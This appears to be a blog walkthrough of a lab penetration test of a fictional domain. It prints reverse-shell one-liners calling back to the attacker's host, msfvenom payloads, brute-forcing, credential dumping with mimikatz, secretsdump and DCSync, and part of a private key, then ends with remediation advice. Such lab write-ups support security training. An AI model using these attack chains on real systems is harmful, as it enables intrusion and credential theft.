-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA0ksXgILHRb0j1s3pZH8s/EFYewSeboEi4GkRogdR53GWXep7GJMI
oxuXTaYkMSFG9Clij1X6crkcWLnSLuKI8KS5qXsuNWISt+T1bpvTfmFymDIWNx4efR/Yoa
vpXx+yT/M2X9boHpZHluuR9YiGDMZlr3b4hARkbQAc0l66UD+NB9BjH3q/kL84rRASMZ88
y2jUwmR75Uw/wmZxeVD5E+yJGuWd+ElpoWtDW6zenZf6bqSS2VwLhbrs3zyJAXG1eGsGe6
<SNIP>
sudo chmod 600 dmz01key
sudo ssh -i dmz01key root@<target-ip>
root@dmz01:~# id
uid=0(root) gid=0(root) groups=0(root)
root@dmz01:~# sudo -l
Matching Defaults entries for root on dmz01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User root may run the following commands on dmz01:
(ALL : ALL) ALL
Note: It's recommended to SSH with -D + proxychains, we can fully use tools from our local machine, such as Nmap.
To discovery live hosts within target system, do a ping sweep within its system as follows:
root@dmz01:~# for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from
64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=2.88 ms
64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=1.22 ms
64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=1.85 ms
64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.046 ms
We can further enumeration using a static Nmap binary from the dmz01 host to get an understanding of which ports are open within these subnets.
Note: Nmap is often not installed on these situation, to be able to use nmap on the target system, download the binary and transfer to the target as follows:
# Local Machine
cd /tmp
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap
wget https://raw.githubusercontent.com/nmap/nmap/master/nmap-services
# Target Machine
mkdir -p /tmp/tools && cd /tmp/tools
wget http://<local-ip>:8000/nmap http://<local-ip>:8000/nmap-services
chmod +x nmap
Now that we have Nmap on dmz01 host. Write the discovered hosts to a file and execute Nmap.
root@dmz01:/tmp/tools# cat << 'EOF' > live_hosts
172.16.8.3
172.16.8.20
172.16.8.50
EOF
root@dmz01:/tmp/tools# ./nmap --open -Pn -n -iL live_hosts
Nmap scan report for 172.16.8.3
Cannot find nmap-mac-prefixes: Ethernet vendor correlation will not be performed
Host is up (0.00047s latency).
Not shown: 988 closed ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
MAC Address: A2:DE:AD:AE:9A:43 (Unknown)
Nmap scan report for 172.16.8.20
Host is up (0.00032s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
3389/tcp open ms-wbt-server
5985/tcp open wsman
MAC Address: A2:DE:AD:DC:F3:04 (Unknown)
Nmap scan report for 172.16.8.50
Host is up (0.00045s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
8080/tcp open http-proxy
MAC Address: A2:DE:AD:2F:F3:95 (Unknown)
Nmap done: 3 IP addresses (3 hosts up) scanned in 111.47 seconds
From the Nmap output, we can gather the following:
172.16.8.3 is a Domain Controller (DC) because we see open ports such as Kerberos and LDAP. We can likely leave this to the side for now as its unlikely to be directly exploitable.
172.16.8.20 is a Windows host, and the ports 80/HTTP and 2049/NFS are particularly interesting.
172.16.8.50 is a Windows host as well, and port 8080 sticks out as non-standard and interesting.
We could run a full TCP port scan in the background while digging into some of these hosts.
Based of the scan results, port 2049 (NFS) on the Window Host (172.16.8.20) is always interesting to see. If the NFS server is misconfigured, we can browse NFS shares and potentially uncover some sensitive data.
root@dmz01:/tmp/tools# showmount -e 172.16.8.20
Export list for 172.16.8.20:
/DEV01 (everyone)
root@dmz01:/tmp/tools# mkdir /tmp/dev01_share
root@dmz01:/tmp/tools# mount -t nfs 172.16.8.20:/DEV01 /tmp/dev01_share -o nolock
root@dmz01:/tmp/tools# cd /tmp/dev01_share
root@dmz01:/tmp/dev01_share# ls
BuildPackages.bat CKEditorDefaultSettings.xml CKToolbarButtons.xml CKToolbarSets.xml DNN WatchersNET.CKEditor.sln
Not much interesting with these files, so we move to DNN subdirectory. Within here, we can see various files, one of which is web.config, which often can contain credentials:
root@dmz01:/tmp/dev01_share/DNN# cat web.config
<?xml version="1.0"?>
<configuration>
<!--
For a description of web.config changes see http://go.microsoft.com/fwlink/?LinkId=235367.
The following attributes can be set on the <httpRuntime> tag.
<system.Web>
<httpRuntime targetFramework="4.6.2" />
</system.Web>
-->
<username>Administrator</username>
<password>
<value><REDACTED</value>
</password>
<system.web>
<compilation debug="true" targetFramework="4.5.2"/>
<httpRuntime targetFramework="4.5.2"/>
</system.web>
Now we have the credentials pair for a admin login, head over DNN domain (http://172.16.8.20/) to test if we could access to it databases.
Note: To able to access to this URL, we must re-connect our SSH connection with portforwarding (-D). Also modify proxychains.conf file and configure browsers Network Settings as follows:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 8081
ssh -i dmz01key -D 8081 root@<target-ip>
Once logged in, we are present as a SuperUser administrator account.


Finding: High Risk - Insecure File Shares & Sensitive Data on File Shares.
hydra -l admin -P /usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-100.txt monitoring.inlanefreight.local http-post-form "/login.php:username=admin&password=^PASS^:Invalid Credentials!"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-08-12 11:52:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 99 login tries (l:1/p:99), ~7 tries per task
[DATA] attacking http-post-form://monitoring.inlanefreight.local:80/login.php:username=admin&password=^PASS^:Invalid Credentials!
[80][http-post-form] host: monitoring.inlanefreight.local login: admin password:<REDACTED>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-12 11:52:27


socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<host-ip>:4443
webdev@dmz01:/var/www/html/monitoring$ su srvadm
Password:
$ id
uid=1003(srvadm) gid=1003(srvadm) groups=1003(srvadm)
$ /bin/bash -i
srvadm@dmz01:/var/www/html/monitoring$
It's always important to execute id and sudo -l on the compromised account to see if they are in any privilege local groups or has any type of sudo privileges. To fully enumerate the compromised account, we can also upload the LinPEAS script and execute there.
Next we can save this key into a file, modify it's privilege and use it to SSH as root.
Within this webserver, a SQL Console is accessible under the Setting page where we can enable xp_cmdshell to run operating system commands.
xp_cmdshell can be enabled with the following script:
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
Once we run the above script, we can test for "whoami" to see if the result was successful.
According to DNN, it is possible change the allowable file extensions to allow other files to be uploaded. This is useful if we cannot gain RCE via the SQL console.
The allowed file extensions list can be modified by browsing to Settings > Security > More > More Security Settings and adding them under Allowable File Extensions.


Once modified, upload an ASP webshell after browsing to http://172.16.8.20/admin/file-management to upload the file. Upon clicking the uploaded file, we get redirect to another Windows, which allow us to run commands via the web shell.
Running whoami /priv reveal that we have Selmpersonate privileges.


Selmpersonate privilage can be escalated using PrintSpoofer, along with Netcat.
If we modify the DNN Allowable File Extension again, we would be able to download both binaries to our machine and upload them directly.


After uploading both files, start the Netcat listener on the dmz01 host and execute the following PowerShell one-liner to gain reverse shell to the webserver.
After uploading both files, start the Netcat listener on the dmz01 host and execute the following PowerShell one-liner to gain reverse shell to the webserver.
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('172.16.8.120',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
We should receive a reverse shell on our dmz01 host.
root@dmz01:~# nc -lnvp 9999
Listening on 0.0.0.0 9999
Connection received on 172.16.8.20 50080
whoami
iis apppool\dotnetnukeapppool
PS C:\windows\system32\inetsrv>
Now that we have access to the webserver, set up another Netcat listener on a new terminal and trigger Netcat using PrintSpoofer64.exe.
c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "cmd.exe /c c:\DotNetNuke\Portals\0\nc.exe 172.16.8.120 443 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
If successful, we should now have NT AUTHORITY - With SYSTEM privilege in place, navigate to file management directory and dump the registry hives.
root@dmz01:/tmp# nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 172.16.8.20 50505
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>cd c:\DotNetNuke\Portals\0
cd c:\DotNetNuke\Portals\0
c:\DotNetNuke\Portals\0>reg save HKLM\SYSTEM SYSTEM.SAVE
reg save HKLM\SYSTEM SYSTEM.SAVE
The operation completed successfully.
c:\DotNetNuke\Portals\0>reg save HKLM\SECURITY SECURITY.SAVE
reg save HKLM\SECURITY SECURITY.SAVE
The operation completed successfully.
c:\DotNetNuke\Portals\0>reg save HKLM\SAM SAM.SAVE
reg save HKLM\SAM SAM.SAVE
The operation completed successfully.
Finally, use secretsdump to dump the databases.
Once again, add .SAVE file extensions within the web application and download the registry files.
secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xb3a720652a6fca7e31c1659e3d619944
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
mpalledorous:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[*] Dumping cached domain logon information (domain/username:hash)
INLANEFREIGHT.LOCAL/hporter:$DCC2$10240#hporter#<REDACTED>: (2022-06-23 04:59:45+00:00)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
INLANEFREIGHT\ACADEMY-AEN-DEV$:aes256-cts-hmac-sha1-96:442b160f281dddd9b62a2860d55af4698d4ba0557f3604af6d2bf0e19498e98f
INLANEFREIGHT\ACADEMY-AEN-DEV$:aes128-cts-hmac-sha1-96:cfae91b176f5d0ab3a481cd11af37989
INLANEFREIGHT\ACADEMY-AEN-DEV$:des-cbc-md5:efabf7e3c819a13b
INLANEFREIGHT\ACADEMY-AEN-DEV$:plain_password_hex:<REDACTED>
INLANEFREIGHT\ACADEMY-AEN-DEV$:aad3b435b51404eeaad3b435b51404ee:82d329b22c4964bb50b098fc43e171c1:::
[*] DefaultPassword
(Unknown User):<REDACTED>
[*] DPAPI_SYSTEM
dpapi_machinekey:0x6968d50f5ec2bc41bc207a35f0392b72bb083c22
dpapi_userkey:0xe1e7a8bc8273395552ae8e23529ad8740d82ea92
[*] NL$KM
0000 21 0C E6 AC 8B 08 9B 39 97 EA D9 C6 77 DB 10 E6 !......9....w...
0010 2E B2 53 43 7E B8 06 64 B3 EB 89 B1 DA D1 22 C7 ..SC~..d......".
0020 11 83 FA 35 DB 57 3E B0 9D 84 59 41 90 18 7A 8D ...5.W>...YA..z.
0030 ED C9 1C 26 FF B7 DA 6F 02 C9 2E 18 9D CA 08 2D ...&...o.......-
NL$KM:210ce6ac8b089b3997ead9c677db10e62eb253437eb80664b3eb89b1dad122c71183fa35db573eb09d84594190187a8dedc91c26ffb7da6f02c92e189dca082d
[*] Cleaning up...
The result above reveals admin and few others NTLM hashes, along with a clear-text password that belong to an Unknown User.
Here we can attempt to use proxychains to authenticate which user that password belong to:
sudo proxychains crackmapexec smb 172.16.8.20 --local-auth -u Administrator -H <Hash> --lsa
Now that we have SYSTEM privilege on the DEV01 host, we can perform a Sharphound collector to enumerate all possible AD objects and then ingest the data into the BloodHound GUI for review
C:\DotNetNuke\Portals\0>.\SharpHound.exe -c All
Searching for our user hporter and selecting First Degree Object Control, we can see that the user has ForceChangePassword rights over the ssmalls user.


Tool like PowerView can be used to change the ssmalls user's password as we have Administrator access.
sudo ssh -i dmz01key -L 13389:172.16.8.20:3389 root@<target-ip>
xfreerdp /v:127.0.0.1:13389 /u:hporter /p:<REDACTED> /drive:home,$(pwd)
Once RDPed, navigate to C:\Share and transfer files from our machine to the target system.


To cover more bases, we can also use Snaffler to enumerate target Window's file shares.
To achieve this, first set up a SSH Local Port Forwarding. The command allows to pass all RDP traffic to DEV01 through the dmz01 host via local port 13389.
PS C:\Share> .\Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data > snaffler.log


One particular 'Department Shares' from the results may contains interesting files. To avoid RDP again, we can use crackmapexec spider_plus to dig around those file shares.
sudo proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Hacked123! -M spider_plus --share 'Department Shares'
<SNIP>
SMB 172.16.8.3 445 DC01 [*] Enumerated shares
SMB 172.16.8.3 445 DC01 Share Permissions Remark
SMB 172.16.8.3 445 DC01 ----- ----------- ------
SMB 172.16.8.3 445 DC01 ADMIN$ Remote Admin
SMB 172.16.8.3 445 DC01 C$ Default share
SMB 172.16.8.3 445 DC01 Department Shares READ Share for department users
SMB 172.16.8.3 445 DC01 IPC$ READ Remote IPC
SMB 172.16.8.3 445 DC01 NETLOGON READ Logon server share
SMB 172.16.8.3 445 DC01 SYSVOL READ Logon server share
SPIDER_PLUS 172.16.8.3 445 DC01 [+] Saved share-file metadata to "/root/.nxc/modules/nxc_spider_plus/172.16.8.3.json".
<SNIP>
sudo cat /root/.nxc/modules/nxc_spider_plus/172.16.8.3.json
{
"Department Shares": {
"IT/Private/Development/SQL Express Backup.ps1": {
"atime_epoch": "2022-06-01 14:34:16",
"ctime_epoch": "2022-06-01 14:34:16",
"mtime_epoch": "2022-06-01 14:35:16",
"size": "3.91 KB"
From the output, we can see a backup file within the IT shares.
Since this Department Share is located within Domain Controller (172.16.8.3), we can use smbclient to enumerate this share. After reviewing the file, it appears that it contains a pair of credentials for backupadm user.
proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares'
<SNIP>
smb: \IT\Private\Development\> get "SQL Express Backup.ps1"
getting file \IT\Private\Development\SQL Express Backup.ps1 of size 4001 as SQL Express Backup.ps1 (8.7 KiloBytes/sec) (average 8.7 KiloBytes/sec)
There was also another interesting file within SYSVOL share, which is accessible to all Domain Users. However, after doing a quick research, this account no longer exists within the BloodHound databases.
Furthermore, we can also check if there are any Kerberoastable users within RDP session.


Due to high volume list, export those SPNs to a file, transfer back to our machine for offline processing.
PS C:\Share> Get-DomainUser * -SPN -Verbose | Get-DomainSPNTicket -Format Hashcat | Select-Object -ExpandProperty Hash | Out-File -Encoding ASCII ilfreight.hash
PS C:\Share> copy .\ilfreight.hash \\Tsclient\Home
Hashcat mode 13100 was able to crack a password for user backupjob:<REDACTED>.
However, this account has no privilege and is no useful to us.
Finding: High Risk - Weak Kerberos Authencation Configuration.
It's also worth to mention that few others lateral movement technique worth exploring is Domain Password Spraying, searching for Registry.xml files and Description fields in AD.
Digging around we came across unattend.xml file. Within this file, it reveals a local user credentials.
Moving on to the MS01 host (172.16.8.50), which have yet to be explored. First, connect to the target using evil-winrm using backupadm user.
Evil-WinRM PS C:\Users\backupadm\Documents> type C:\panther\unattend.xml
<SNIP>
<ProtectYourPC>1</ProtectYourPC>
</OOBE>
<AutoLogon>
<Password>
<Value><REDACTED></Value>
<PlainText>true</PlainText>
</Password>
<Enabled>true</Enabled>
<LogonCount>1</LogonCount>
<Username>ilfserveradm</Username>
</AutoLogon>
<FirstLogonCommands>
<SNIP>
Before accessing to this Remote Desktop, set up another SSH Local Port Forwarding that point to this IP to act as a jump host, then RDP.
This is not a domain user but has Remote Desktop access. We can RDP and explore this machine.
sudo ssh -i dmz01key -L 13389:172.16.8.50:3389 root@<target-ip>
xfreerdp /v:127.0.0.1:13389 /u:ilfserveradm /p:<REDACTED> /cert:ignore /drive:home,$(pwd) /dynamic-resolution
Within this computer, we found a non-standard software installed in the C:\Program Files(x86)\SysaxAutomation, which according to this blog, it allows for local privilege escalation.


To use this exploit:
create a .bat file in C:\Users\ilfserveradm\Documents to add the user to local adminns group.


Finally, to trigger the task, create another .txt file within the Documents directory.
We can confirm this by check localgroup within PowerShell.


Once we suggesfully added the user to the administrator group, restart the machine to active the privilege (shutdown /l).
proxychains evil-winrm -i 172.16.8.50 -u backupadm
open sysaxschedscp.exe
Select Setup Scheduled/Triggered Tasks
Add task (Triggered)
Update folder to monitor to be C:\Users\ilfserveradm\Documents
Check Run task if a file is added to the monitor folder or subfolder(s)
Choose Run any other Program and choose C:\Users\ilfserveradm\Documents\pwn.bat
Uncheck Login as the following user to run task
9. Click Finish and then Save
Now that we have SYSTEM privilege, we can use mimikatz.exe to dump LSASS and Inveigh to catch credentials via Window's SMB services.
Again, we can grab these tools from our machine via \\tsclient.
PS C:\Users\ilfserveradm\Documents> .\mimikatz.exe
mimikatz # log
Using 'mimikatz.log' for logfile : OK
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
564 {0;000003e7} 1 D 30073 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;0136075a} 2 F 20322234 ACADEMY-AEN-MS0\ilfserveradm S-1-5-21-1020326033-369054202-3290056218-1002 (14g,24p) Primary
* Thread Token : {0;000003e7} 1 D 20387820 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # lsadump::secrets


PS C:\Users\ilfserveradm\Documents> Import-Module .\Inveigh.ps1
PS C:\Users\ilfserveradm\Documents> Invoke-Inveigh -ConsoleOutput Y -FileOutput Y


Further looking into BloodHound data, it shows. that we have GenericWrite over the ttimmons user. This can be exploited by setting a fake SPN and perform a targeted Kerberoasting attack.


Back on the DEV01 machine, use PowerView to create a PSCredentials object to run commands as mssqladm user, then set a fake SPN on the target account.


From our machine, perform the targeted Keberoasting attack and hashcat mode 13100 to crack the hash.
sudo proxychains GetUserSPNs.py -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm -request-user ttimmons
<SNIP>
$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL$INLANEFREIGHT.LOCAL/ttimmons*$8b9d8faf9f6dffc11be6b21e76736088$320b3a73662b145801b229580271603037be3817d09e24c25e56d40285c77ca8286ce631a6a89d4fbde29d42e7e22692315d52a47f5062b<SNIP>
hashcat -m 13100 <hash-file> /usr/share/wordlist/rockyou.txt
$krb5tgs$23$*ttimmons$INLANEFREIGHT.LOCAL<SNIP>:<REDACTED>
To exploit this vulnerability, we first add ttimmons user to the group to inherit the SCSync privileges, then perform the attack.


Finally, using Secretsdump.py to DCSync all NTLM password hashes from the Domain Controller.
sudo proxychains secretsdump.py ttimmons@172.16.8.3 -just-dc-ntlm > DomainHashes
Once we have gathered the Administrator's hashes, we can use those to connected to the DEV01 domain as Adminstrator.
sudo proxychains evil-winrm -i 172.16.8.3 -u Administrator -H <hash>
Furthermore, BloodHound also shows that we have GenericAll over the Server Admin group, which has the ability to perform the DCSync attack to obtain NTLM hashes for any users in the domain.
Back on IT share we enumerate earlier, there is another subdirectory 'Networking', which contains SSH private keys for three different users. Download those keys to our machine for further uses.
download ssmallsadm-id_rsa /tmp/ssmallsadm-id_rsa
download james-id_rsa /tmp/james-id_rsa
download harry-id_rsa /tmp/harry-id_rsa
Looking at the network adapters on the Domain Controllers we can see that it has a second NIC in the 172.16.9.0 network.


We can use PowerShell to perform a ping sweep and attempt to identify live hosts.
Evil-WinRM PS C:\> 1..100 | % {"172.16.9.$($_): $(Test-Connection -count 1 -comp 172.16.9.$($_) -quiet)"}
172.16.9.1: False
172.16.9.2: False
172.16.9.3: True
<SNIP>
From here, with SSH private keys in hand, we can attempt to reach this host using a double pivot method.
Local Host > dmz01 > DC01 > MGMT01
First create 2 following files: an .elf payload to catch a reverse shell from our machine onto the dmz01, then an .exe payload reverse shell payload for DC01.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<local-ip> LPORT=443 -f elf > shell.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 -f exe -o dc_shell.exe LPORT=1234
Once we have transferred both files to the different locations, start Metasploit with privilege on our attack machine and use the exploit/multi/handler module. If we set permission for the shell.elf file within the dmz01 domain and execute it, we should be able to get a reverse shell.
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost <local-host>
lhost => 10.10.14.15
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 443
LPORT => 443
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on <local-host>:443
[*] Sending stage (1062760 bytes) to 10.129.76.26
[*] Meterpreter session 1 opened (<local-host>:8443 -> 10.129.76.26:45512) at 2026-08-15 06:30:55 -0400
Next, set up a local port forwarding rule to forward all traffic destined to port 1234 on dmz01 to port 8443 on our attack host.
(Meterpreter 1)(/root) > portfwd add -R -l 8443 -p 1234 -L <local-host>
[*] Reverse TCP relay created: (remote) [::]:1234 -> (local) <local-host>:8443
Background the current session on our machine and start another multi/handler in the same msfconsole session to catch the shell from the DC. If we execute the .exe file within the DC01 domain, we will catch another reverse shell.
(Meterpreter 1)(/root) > portfwd add -R -l 8443 -p 1234 -L <local-host>
[*] Reverse TCP relay created: (remote) [::]:1234 -> (local) <local-host>:8443
After catching the reverse shell, run autoroute to set up a route to the 172.16.9.0/23 subnet. We can confirm by running route print within MSF routing table.
(Meterpreter 2)(C:\Users\Public) > run autoroute -s 172.16.9.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.9.0/255.255.254.0...
[+] Added route to 172.16.9.0/255.255.254.0 via 10.10.14.209
[*] Use the -p option to list all active routes
(Meterpreter 2)(C:\Users\Public) > bg
[*] Backgrounding session 2...
[msf](Jobs:0 Agents:2) exploit(multi/handler) >> route print
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
172.16.9.0 255.255.254.0 Session 2
Now we need to set up a socks proxy which is the final step before we can communicate directly with the 172.16.9.0/23 network from our attack host.
[msf](Jobs:0 Agents:2) exploit(multi/handler) >> use auxiliary/server/socks_proxy
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> show options
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set SRVPORT 9051
SRVPORT => 9051
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> set VERSION 4a
VERSION => 4a
[msf](Jobs:0 Agents:2) auxiliary(server/socks_proxy) >> run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
Note: For the socks proxy to works, edit /etc/proxychains.conf port to 9051 and change socks5 to 4 if it's already being used for DMZ01.
Once the SOCKS proxy server started, test this out by running Nmap against the target, and we confirm that we are able to scan it.
proxychains nmap -sT -p 22 172.16.9.25
<SNIP>
PORT STATE SERVICE
22/tcp open ssh
Finally, use the rsa private key we downloaded and SSH to the target host.
sudo proxychains ssh -i ssmallsadm-id_rsa ssmallsadm@172.16.9.25
<SNIP>
ssmallsadm@MGMT01:~$ uname -a
Linux MGMT01 5.10.0-051000-generic #202012132330 SMP Sun Dec 13 23:33:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 127.0.0.1 9051
Based of the Kernel version above, it's like that it's vulnerable to the DirtyPipe, CVE-2022-0847. We'll use exploit-2 from this GitHub repo.
Since we have SSH access to the system, we can create a file with Vim and paste the exploit code in. We then must compile it, and luckily gcc is present on the system. However, we must run the exploit against a SUID binary to inject and overwrite memory in a root process. So first we need to search SUID binaries on the system.




From here we could perform post-exploitation of the file system to prove the level of access we achieved.
Remediation Recommendation
Medium Risk - Potential for Sensitive Data Exposure
Modify API endpoints to explicitly return only required fields instead of serializing entire internal database objects. Implement strict server-side authorisation checks on every request to verify that the logged-in user has explicit permission to view the requested profile ID.
Low Risk - Directory Listing Enabled
Disable directory indexing in the web server configuration (such as Apache, Nginx, or IIS) and ensure every public folder contains a default index file (like index.html) to prevent the exposure of the underlying file structure.
High Risk - Weak WordPress Admin Credentials.
Enforce a strong password policy and implement multi-factor authentication (MFA) on the /wp-admin dashboard to prevent brute-force attacks from compromising the administrator account.
High Risk - SQL Injection
Implement prepared statements with parameterized inputs to completely separate user data from the database query structure and block SQL injection attacks.
High Risk - Cross-Site Scripting (XXS)
Apply context-aware HTML entity encoding to all user-supplied data before rendering it in the browser, ensuring input is treated as text rather than executable script.
High Risk - SSRF to Local File Read vulnerability
Implement strict URL validation using an explicit allowlist to prevent the server from processing user-supplied requests directed at internal loopback addresses or local file schemas like file://.
High Risk - XML External Entity (XXE) Injection.
Disable external entity resolution (DTD processing) completely within your XML parser configuration to prevent attackers from reading local files or triggering internal server requests.
High Risk - Insecure File Shares & Sensitive Data on File Shares.
Restrict file share access by implementing the principle of least privilege through strict ACLs, and run automated discovery tools to continuously locate and encrypt sensitive data left on network shares.
High Risk - Weak Kerberos Authencation Configuration.
Enforce complex, long passwords (or Group Managed Service Accounts) for all Active Directory service accounts to ensure the Kerberos ticket hashes cannot be cracked offline using Hashcat.
Thanks for reading..
Contact
Get in touch
antonhoang.n@gmail.com
© 2025. All rights reserved.